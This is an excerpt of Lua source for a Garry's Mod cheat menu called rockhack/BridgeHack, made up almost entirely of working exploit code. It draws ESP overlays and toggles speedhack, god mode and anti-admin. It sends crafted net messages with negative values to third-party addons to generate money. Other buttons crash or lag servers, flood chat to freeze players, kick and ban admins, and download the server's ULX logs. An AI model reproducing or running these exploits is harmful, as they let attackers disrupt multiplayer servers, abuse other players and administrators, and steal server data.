1007 net.SendToServer()
1008 end
1009end)
1010
1011concommand.Add("rf_rcon",function()
1012 chatP("Work in progress")
1013 for i=0,30 do
1014 net.Start("Work in progress")
1015 net.SendToServer()
1016 end
1017end)
1018
1019concommand.Add("rf_weaponspawner",function()
1020 chatP("Work in progress")
1021 for i=0,30 do
1022 net.Start("Work in progress")
1023 net.SendToServer()
1024 end
1025end)
1026
1027concommand.Add("rf_vehicle spawner",function()
1028 chatP("Work in progress")
1029 for i=0,30 do
1030 net.Start("Work in progress")
1031 net.SendToServer()
1032 end
1033end)
1034
1035concommand.Add("rf_antiadmin",function()
1036 chatP("Work in progress")
1037 for i=0,30 do
1038 net.Start("Work in progress")
1039 net.SendToServer()
1040 end
1041end)
1042
1043concommand.Add("rf_darkrpshipments", function()
1044 if dspam != true then
1045 dspam = true
1046 elseif dspam == true then
1047 dspam = false
1048 end end)
1049
1050local function rockhackCHECK(v)
1051 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1052 return true
1053 else
1054 return false
1055 end end
1056
1057hook.Add("HUDPaint", "JESP", function()
1058 for k,v in pairs(player.GetAll()) do
1059 if GetConVarNumber("rf_esp") > 0 then
1060 if(v ~= LocalPlayer() and rockhackCHECK(v)) then
1061 if GetConVarNumber("rf_renderdistance_enable") > 0 then
1062 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("rf_esp_rdistance") then
1063 local PlayerESP = (v:EyePos()):ToScreen()
1064 local infocolor = Color(GetConVarNumber("rf_esp_infocolor_r"),GetConVarNumber("rf_esp_infocolor_g"),GetConVarNumber("rf_esp_infocolor_b"))
1065 local infocolor = Color(GetConVarNumber("rf_esp_infocolor_r"),GetConVarNumber("rf_esp_infocolor_g"),GetConVarNumber("rf_esp_infocolor_b"))
1066
1067 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1068
1069 if GetConVarNumber("rf_esp_rank") > 0 then
1070 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1071 end
1072
1073 if GetConVarNumber("rf_esp_hp") > 0 then
1074 local infocolor = Color(255,0,255)
1075 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1076 end
1077
1078 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1079 local min, max = v:WorldSpaceAABB()
1080
1081 min, max = min:ToScreen(), max:ToScreen()
1082
1083 local h = (min.y / 2) - (max.y / 2)
1084 surface.SetDrawColor(col.g, col.b, col.r)
1085
1086 if GetConVarNumber("rf_esp_box") > 0 then
1087 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1088 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1089 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1090 end end
1091 else
1092
1093 local PlayerESP = (v:EyePos()):ToScreen()
1094 local infocolor = Color(0,255,0)
1095 local infocolor = Color(GetConVarNumber("rf_esp_infocolor_r"),GetConVarNumber("rf_esp_infocolor_g"),GetConVarNumber("rf_esp_infocolor_b"))
1096 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1097
1098 if GetConVarNumber("rf_esp_rank") > 0 then
1099 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1100 end
1101
1102 if GetConVarNumber("rf_esp_hp") > 0 then
1103 local infocolor = Color(GetConVarNumber("rf_esp_infocolor_r"),GetConVarNumber("rf_esp_infocolor_g"),GetConVarNumber("rf_esp_infocolor_b"))
1104 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1105 end
1106
1107 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1108
1109 local min, max = v:WorldSpaceAABB()
1110 min, max = min:ToScreen(), max:ToScreen()
1111 local h = (min.y / 2) - (max.y / 2)
1112
1113 surface.SetDrawColor(col.g, col.b, col.r)
1114
1115 if GetConVarNumber("rf_esp_box") > 0 then
1116 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1117 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1118 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1119 end end end end end end)
1120
1121function blur_on()
1122 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1123end
1124
1125function blur_off()
1126 DrawMaterialOverlay( "", 0.1 )
1127end
1128
1129concommand.Add("+rf_menu", function( ply )
1130 status("Menu Opened.")
1131 if GetConVarNumber("rf_menu_effects") == 1 then
1132 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
1133 end
1134--[[
1135 mainmenu
1136
1137
1138 THE MAIN
1139
1140
1141 MENU
1142
1143
1144
1145 STARTS
1146
1147
1148
1149 HERE
1150
1151 |
1152 V
1153]]--
1154local menu = DermaMenu()
1155menu:Center()
1156menu:AddOption( "rockhack "..dlversion, function()
1157 AboutMenu()
1158end ):SetImage( "icon16/shield.png" )
1159menu:AddSpacer()
1160function menu:Paint( w, h )
1161 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
1162 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
1163 surface.SetDrawColor( 0,0,0 )
1164 surface.DrawOutlinedRect( 0, 0, w, h)
1165end
1166local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
1167
1168ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
1169 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
1170 status("Forced SV_ALLOWCSLUA TO 1")
1171end):SetImage( "icon16/link_error.png" )
1172
1173ForcingMenu:AddOption( "Force sv_cheats 1", function()
1174 ply:ConCommand("incrementvar sv_cheats 0 1 1")
1175 status("Forced SV_CHEATS TO 1")
1176end):SetImage( "icon16/link_error.png" )
1177
1178local ESP = menu:AddSubMenu("ESP")
1179
1180ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
1181ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
1182
1183local Speed = menu:AddSubMenu("Speed")
1184Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
1185Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
1186
1187local God = menu:AddSubMenu("GOD")
1188God:AddOption( "[ON] God", god_on):SetImage( "icon16/lightning_go.png" )
1189God:AddOption( "[OFF] God", god_off):SetImage( "icon16/lightning_delete.png" )
1190
1191local AntiAdmin = menu:AddSubMenu("AntiAdmin")
1192AntiAdmin:AddOption( "[ON] AntiAdmin", antiadmin_on):SetImage( "icon16/lightning_go.png" )
1193AntiAdmin:AddOption( "[OFF] AntiAdmin", antiadmin_off):SetImage( "icon16/lightning_delete.png" )
1194
1195local Noclip = menu:AddSubMenu("Noclip")
1196Noclip:AddOption( "[ON] Noclip", noclip_on):SetImage( "icon16/lightning_go.png" )
1197Noclip:AddOption( "[OFF] Noclip", noclip_off):SetImage( "icon16/lightning_delete.png" )
1198
1199local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
1200NameStealSub:AddOption( "[ON] Name Steal", function()
1201 ply:ConCommand("bh_namesteal_on")
1202end ):SetImage( "icon16/book_addresses.png" )
1203
1204NameStealSub:AddOption( "[OFF] Name Steal", function()
1205 status("Stopped Script: Random Name Change [name steal]")
1206 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
1207
1208local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
1209
1210 MoneyExploits:AddOption("[$$] Drug Sell",function()
1211 for i=1,1000 do
1212 net.Start("Kun_SellDrug")
1213 net.WriteString("Meth")
1214 net.SendToServer()
1215 end end):SetImage( "icon16/coins_add.png" )
1216
1217 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
1218 chatp("Giving money")
1219 net.Start("Taxi_Add")
1220 net.WriteString("MLG")
1221 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
1222 net.WriteFloat(-99999999)
1223 net.WriteString(Desc)
1224 net.SendToServer()
1225 end):SetImage( "icon16/coins_add.png" )
1226
1227 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
1228 chatP("Attempting to give money..")
1229 for k,v in pairs(ents.GetAll()) do
1230 swag = v
1231 end
1232 net.Start( 'NET_SS_DoBuyTakeoff' )
1233 net.WriteEntity(LocalPlayer())
1234 net.WriteEntity(swag)
1235 net.WriteTable({'spawned_weapon'})
1236 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
1237 net.SendToServer()
1238 end):SetImage( "icon16/coins_add.png" )
1239
1240 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
1241 chatP("Attempting to give money..")
1242 net.Start( "DaHit" )
1243 net.WriteFloat( -1000000000000000000000 )
1244 --net.WriteFloat( tm )
1245 net.WriteEntity( LocalPlayer() )
1246 net.WriteEntity( LocalPlayer() )
1247 net.WriteEntity( LocalPlayer() )
1248 net.SendToServer()
1249 end):SetImage( "icon16/coins_add.png" )
1250
1251 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
1252 local ply = LocalPlayer()
1253 for k,v in pairs(player.GetAll()) do
1254 dahater = v
1255 end
1256
1257 local hitRequest = {}
1258 hitRequest.hitman = ply
1259 hitRequest.requester = ply
1260 hitRequest.target = dahater
1261 hitRequest.reward = 100000000
1262
1263 net.Start( 'hhh_request' )
1264 net.WriteTable( hitRequest )
1265 net.SendToServer()
1266
1267 end):SetImage( "icon16/coins_add.png" )
1268
1269 MoneyExploits:AddOption("[$$] BOONPC",function()
1270 net.Start('BuyCar')
1271 net.WriteFloat(-1000000000000)
1272 net.WriteEntity(LocalPlayer())
1273 net.WriteString("BridgeHack")
1274 net.WriteString("BridgeHack")
1275 net.WriteString("BridgeHack")
1276 net.SendToServer()
1277 end):SetImage( "icon16/coins_add.png" )
1278
1279 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
1280 local frame = vgui.Create( "DFrame" )
1281 frame:Center()
1282 frame:SetSize( 200,150 )
1283 frame:SetTitle( "" )
1284 frame:MakePopup()
1285 frame:ShowCloseButton( false )
1286 function frame:Paint( w, h )
1287 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1288 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1289 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1290 end
1291
1292 local playerMenu = vgui.Create( "DComboBox", frame )
1293 playerMenu:SetPos( 10,40 )
1294 playerMenu:SetSize( 120,20 )
1295 playerMenu:SetText( "Select a Player")
1296 for k, v in pairs( player.GetAll() ) do
1297 playerMenu:AddChoice( tostring( v:Name() ) )
1298 playerMenu:SetTextColor(color_black)
1299 end
1300
1301 local Button = vgui.Create("DButton", frame)
1302 Button:SetPos( 180, 2 )
1303 Button:SetSize( 20, 20 )
1304 Button:SetText( "" )
1305 function Button:Paint( w, h )
1306 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1307 end
1308 Button.DoClick = function()
1309 frame:Close()
1310 end
1311
1312 local SpamHit = vgui.Create("DButton", frame )
1313 SpamHit:SetPos( 20,70 )
1314 SpamHit:SetSize( 150,20 )
1315 SpamHit:SetText( "Get Money" )
1316 SpamHit:SetTextColor( Color(0,0,0) )
1317 SpamHit.DoClick = function()
1318 local v = playerMenu:GetText()
1319 net.Start( "SendMoney" )
1320 net.WriteEntity( v )
1321 net.WriteEntity( v )
1322 net.WriteEntity( v )
1323 net.WriteString( "-100000000000000000000000000000000000000000" )
1324 net.SendToServer()
1325 end
1326
1327 local CrashButton = vgui.Create("DButton", frame )
1328 CrashButton:SetPos( 20,90 )
1329 CrashButton:SetSize( 150,20 )
1330 CrashButton:SetText( "Crash Server" )
1331 CrashButton:SetTextColor( Color(0,0,0) )
1332 CrashButton.DoClick = function()
1333 for i=0, 10 do
1334 ply:ConCommand("rf_hitmanxcrash")
1335 end
1336 end
1337
1338 local InfaButton = vgui.Create("DButton", frame )
1339 InfaButton:SetPos( 20,110 )
1340 InfaButton:SetSize( 150,20 )
1341 InfaButton:SetText( "Infinite Money For Everyone" )
1342 InfaButton:SetTextColor( Color(0,0,0) )
1343 InfaButton.DoClick = function()
1344 ply:ConCommand("rf_hitmanxinfa")
1345 end
1346 end):SetImage( "icon16/application_form.png" )
1347
1348 MoneyExploits:AddOption( "[$$] HITMENU",function()
1349 local HitPanel = vgui.Create( "DFrame" )
1350 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
1351 HitPanel:SetSize( 300, 200 )
1352 HitPanel:SetTitle( " " )
1353 HitPanel:SetVisible( true )
1354 HitPanel:SetDraggable( true )
1355 HitPanel:ShowCloseButton( false )
1356 HitPanel:MakePopup()
1357 function HitPanel:Paint( w, h )
1358 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
1359 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1360 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1361 end
1362
1363 local Button = vgui.Create("DButton", HitPanel)
1364 Button:SetPos( 250, 0 )
1365 Button:SetSize( 50, 25 )
1366 Button:SetText( "" )
1367 function Button:Paint( w, h )
1368 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1369 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1370 end
1371 Button.DoClick = function()
1372 HitPanel:Close()
1373 end
1374
1375 local HitButton = vgui.Create("DButton", HitPanel)
1376 HitButton:SetPos( 140, 100 )
1377 HitButton:SetSize( 100, 20 )
1378 HitButton:SetText( "Get Money" )
1379 HitButton:SetTextColor( Color(255,255,255) )
1380 function HitButton:Paint( w, h )
1381 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1382 end
1383 HitButton.DoClick = function()
1384 ply:ConCommand("rf_hithack")
1385 end
1386
1387 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
1388 HitSlider:SetPos( 20, 50 )
1389 HitSlider:SetSize( 300, 40 )
1390 HitSlider:SetText( "Money Ammount" )
1391 HitSlider:SetMin( 0 )
1392 HitSlider:SetMax( 1000000000 )
1393 HitSlider:SetDecimals( 0 )
1394 HitSlider:SetConVar( "rf_hitmenuammount" )
1395
1396 end):SetImage( "icon16/coins_add.png" )
1397
1398 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
1399 ply:ConCommand("rf_3dcardealer_spamstore")
1400 end):SetImage( "icon16/coins_add.png" )
1401
1402 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
1403 chatP("Attempting to give money..")
1404 for i=0,30 do
1405 for i=1,10 do
1406 net.Start( "AttemptSellCar" )
1407 net.WriteInt( i, 8 )
1408 net.SendToServer()
1409 end
1410 end
1411 end):SetImage( "icon16/coins_add.png" )
1412
1413 MoneyExploits:AddOption( "[$$] BAILNPC",function()
1414 chatP("Attempting to give money..")
1415 net.Start( "BailOut" )
1416 net.WriteEntity( ply )
1417 net.WriteEntity( ply )
1418 net.WriteFloat( -10000000000000)
1419 net.SendToServer()
1420 end):SetImage( "icon16/coins_add.png" )
1421
1422 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
1423 local DermaPanel = vgui.Create( "DFrame" )
1424 DermaPanel:SetPos( 100, 100 )
1425 DermaPanel:SetSize( 300, 200 )
1426 DermaPanel:SetTitle( " " )
1427 DermaPanel:SetVisible( true )
1428 DermaPanel:SetDraggable( true )
1429 DermaPanel:ShowCloseButton( true )
1430 function DermaPanel:Paint( w, h )
1431 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
1432 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1433 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1434 end
1435 DermaPanel:MakePopup()
1436
1437 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
1438 TextEntry:SetPos( 75, 30 )
1439 TextEntry:SetSize( 150, 25 )
1440 TextEntry:SetText( "Account num(Including the -!)" )
1441
1442 local BBDButton = vgui.Create( "DButton",DermaPanel )
1443 BBDButton:SetPos( 10, 120 )
1444 BBDButton:SetText( "Give Money" )
1445 BBDButton:SetTextColor( Color(255,255,255) )
1446 BBDButton:SetSize( 280, 75 )
1447 function BBDButton:Paint( w, h )
1448 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
1449 end
1450 BBDButton.DoClick = function()
1451 local accnumber = TextEntry:GetValue()
1452 local moneytogive = GetConVarNumber("rf_ratm_money2give")
1453 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
1454 net.Start("ATM_DepositMoney_C2S")
1455 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
1456 net.SendToServer()
1457 end
1458
1459 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1460 RenderDistance:SetPos( 10, 50)
1461 RenderDistance:SetSize( 275, 25 )
1462 RenderDistance:SetText( "Money to give" )
1463 RenderDistance:SetMin( 0 )
1464 RenderDistance:SetMax( 500000 )
1465 RenderDistance:SetDecimals( 0 )
1466 RenderDistance:SetConVar( "rf_ratm_money2give" )
1467 end):SetImage("icon16/coins_add.png")
1468
1469 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
1470 chatP("Giving money..")
1471 for k,v in pairs(ents.GetAll()) do
1472 status("Attempting to make fine")
1473 net.Start("TOW_SubmitWarning")
1474 net.WriteString(LocalPlayer():SteamID())
1475 net.WriteDouble(-100000000000)
1476 net.WriteEntity(v)
1477 net.SendToServer()
1478
1479 net.Start("TOW_PayTheFine")
1480 net.WriteEntity(v)
1481 net.SendToServer()
1482 end
1483 end):SetImage( "icon16/coins_add.png" )
1484
1485local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
1486
1487 DARKRPBASEDSUB:AddOption("[Watch Dogs] EMP",function()
1488 ply:ConCommand("rf_emp")
1489 end):SetImage( "icon16/cross.png" )
1490
1491 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
1492 ply:ConCommand("rf_dlogs_lag")
1493 end):SetImage( "icon16/table_error.png" )
1494
1495 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
1496 ply:ConCommand("rf_dlogs_lag_off")
1497 end):SetImage( "icon16/table_add.png" )
1498
1499 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
1500 local ply = LocalPlayer()
1501
1502 local frame = vgui.Create( "DFrame" )
1503 frame:Center()
1504 frame:SetSize( 200,150 )
1505 frame:SetTitle( "" )
1506 frame:MakePopup()
1507 frame:ShowCloseButton( false )
1508 function frame:Paint( w, h )
1509 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1510 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1511 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1512 end
1513
1514 local playerMenu = vgui.Create( "DComboBox", frame )
1515 playerMenu:SetPos( 10,40 )
1516 playerMenu:SetSize( 120,20 )
1517 playerMenu:SetText( "Select a Player")
1518 for k, v in pairs( player.GetAll() ) do
1519 playerMenu:AddChoice( tostring( v:Name() ) )
1520 end
1521
1522 local SpamHit = vgui.Create("DButton", frame )
1523 SpamHit:SetPos( 50,70 )
1524 SpamHit:SetSize( 100,20 )
1525 SpamHit:SetText( "Place Dem Hits" )
1526 SpamHit:SetTextColor( Color(0,0,0) )
1527 SpamHit.DoClick = function()
1528 local v = playerMenu:GetText()
1529 for i=0, 4 do
1530 ply:ConCommand('addhit "'..v..'" 500')
1531 end
1532 end
1533
1534 local CrashButton = vgui.Create("DButton", frame )
1535 CrashButton:SetPos( 50,110 )
1536 CrashButton:SetSize( 100,20 )
1537 CrashButton:SetText( "Crash Server" )
1538 CrashButton:SetTextColor( Color(0,0,0) )
1539 CrashButton.DoClick = function()
1540 chatP("Hitmanmenu got rekt!")
1541 consoleP("Hitmanmenu got rekt")
1542 for i=0, 10 do
1543 ply:ConCommand("rf_hitmancrash")
1544 end
1545 end
1546
1547 local Button = vgui.Create("DButton", frame)
1548 Button:SetPos( 170, 0 )
1549 Button:SetSize( 30, 20 )
1550 Button:SetText( "Close" )
1551 Button:SetTextColor( Color( 255, 255, 255) )
1552 function Button:Paint( w, h )
1553 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
1554 end
1555 Button.DoClick = function()
1556 frame:Close()
1557 end
1558
1559 local label = vgui.Create( "DLabel", frame )
1560 label:SetPos( 10,20 )
1561 label:SetSize( 120,20 )
1562 label:SetTextColor( Color(0,0,0) )
1563 label:SetText( "Select Player:" )
1564 end):SetImage("icon16/accept.png")
1565
1566 DARKRPBASEDSUB:AddOption("TP Spawn",function()
1567 ply:ConCommand("rf_tp_spawn")
1568 end):SetImage( "icon16/cake.png" )
1569
1570 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
1571 ply:ConCommand("rf_advert 1")
1572 end):SetImage( "icon16/bell_add.png" )
1573
1574 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
1575 ply:ConCommand("rf_advert 0")
1576 end):SetImage( "icon16/bell_delete.png" )
1577
1578 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
1579 timer.Simple(0.1,function()
1580 chatP("(This can be binded to: rf_removelookingat)")
1581 ply:ConCommand("rf_removelookingat")
1582 end)
1583 end):SetImage("icon16/map_delete.png")
1584
1585 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
1586 ply:ConCommand("rf_kun_ziptie_untie")
1587 end):SetImage( "icon16/cut.png" )
1588
1589 DARKRPBASEDSUB:AddOption( "Open Armory", function()
1590 chatP("Opening armory..")
1591 ARMORY_WeaponMenu()
1592 end):SetImage( "icon16/bomb.png" )
1593
1594 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
1595 ply:ConCommand("___darkrpshipments")
1596 end):SetImage( "icon16/cut_red.png" )
1597
1598 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
1599 timer.Create("lollol3294385", 0.2, 0, function( )
1600 for k,v in pairs(player.GetAll()) do
1601 local ligger_type = math.random(1,13)
1602 local ligger_type1 = math.random(1,13)
1603 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
1604 if ligger_type1 == ligger_type then
1605 if last_ply == v:Nick() then
1606 local ligger_type = math.random(1,13)
1607 local ligger_type1 = math.random(1,13)
1608 else
1609 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
1610 end
1611
1612 local last_ply = v:Nick()
1613 local ligger_type = math.random(1,13)
1614 local ligger_type1 = math.random(1,13)
1615 status("Force Wanting: " .. v:Nick())
1616 end
1617 end
1618 end)
1619 end):SetImage( "icon16/cross.png" )
1620
1621 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
1622 timer.Destroy("lollol3294385")
1623 status("Stopped Want All Police")
1624 end):SetImage( "icon16/tick.png" )
1625
1626 DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
1627 ply:ConCommand("__rf_lagdarkrpdashit")
1628 end):SetImage( "icon16/accept.png" )
1629
1630 DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
1631 ply:ConCommand("__rf_stopplag")
1632 end):SetImage( "icon16/cancel.png" )
1633
1634 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
1635 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
1636 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1637 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1638 status("Spoofed Physgun And Player Color.")
1639 end):SetImage( "icon16/color_wheel.png" )
1640
1641 local exploitshacks = menu:AddSubMenu("Exploits")
1642
1643 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
1644 chatP("Bypassing Apanti..")
1645 net.Receive("sMsgStandard", function()
1646 print("#Bypassed by HaxRUs")
1647 end)
1648
1649 net.Receive("sNotifyHit", function()
1650
1651 end)
1652
1653 net.Receive("sMsgAdmins", function()
1654
1655 end)
1656
1657 net.Receive("sAlertNotice", function()
1658
1659 end)
1660 end):SetImage( "icon16/link_break.png" )
1661
1662 exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
1663 ply:ConCommand("rf_nlr_freeze 1")
1664 end):SetImage( "icon16/book_error.png" )
1665
1666 exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
1667 ply:ConCommand("rf_nlr_freeze 0")
1668 end):SetImage( "icon16/book.png" )
1669
1670 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
1671 status("Downloading ULX LOGS")
1672 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
1673 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
1674 else
1675 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
1676 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
1677 timer.Simple( 15, function()
1678 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
1679 consoleP("**********************")
1680 consoleP("** SUCCESS ULX DUMP **")
1681 consoleP("**********************")
1682 end)
1683 end
1684 end ):SetImage( "icon16/lock_break.png" )
1685
1686 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
1687 chatP("Kicking... (Will only work on admins+)")
1688 timer.Create( "aekickdaskids", 3, 0, function()
1689 for k,v in pairs(player.GetAll()) do
1690 if( v:GetUserGroup() != "user" ) then
1691 if( v:GetUserGroup() != "vip" ) then
1692 for i=0, 700 do
1693 net.Start('plyWarning')
1694 net.WriteEntity(v)
1695 net.WriteString('You have to select a player before doing a action.')
1696 net.SendToServer()
1697 end
1698 consoleP('Attempting to kick '.. v:Nick().. "!")
1699 end
1700 end
1701 end
1702 end)
1703 end):SetImage("icon16/wand.png")
1704
1705 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
1706 chatP("Banning...")
1707 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
1708 for k,v in pairs(player.GetAll()) do
1709 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
1710 if v != LocalPlayer() then
1711 status("Banning.. "..v:Nick())
1712 net.Start("banleaver")
1713 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
1714 net.SendToServer()
1715 end
1716 end
1717 end
1718 end)
1719 end):SetImage("icon16/wand.png")
1720
1721 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
1722 chatP("Freezing everybody.. (Except you)")
1723 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1724 local trash = "";
1725 for i=0, 15000 do
1726 trash = trash .. string.char(math.random(32, 126));
1727 end
1728
1729 status("Freeze wave incoming")
1730 timer.Simple(1,function()
1731 status("Freeze wave done")
1732 end)
1733
1734 for i=0,3 do
1735 net.Start("atlaschat.chat")
1736 net.WriteString("// ".. trash)
1737 net.SendToServer()
1738 end
1739 end)
1740 end):SetImage( "icon16/lock.png" )
1741
1742 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
1743 chatP("Stopping the freeze..")
1744 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1745
1746 end)
1747 end):SetImage( "icon16/lock_open.png" )
1748
1749 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1750 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
1751 local friends = {}
1752 table.insert( friends, math.random(1,9999) )
1753 for i = 1,6000 do
1754 net.Start("friendlist")
1755 net.WriteTable(friends)
1756 net.SendToServer()
1757 end
1758 status("PROGRESS [10000/10000]")
1759 end)
1760 end ):SetImage( "icon16/script_error.png" )
1761
1762 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1763 timer.Destroy("spamdafukFRIENDSULX")
1764 status("Stopped ULX SPAM FRIENDS")
1765 end):SetImage( "icon16/script.png" )
1766
1767 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
1768 GiveMenu()
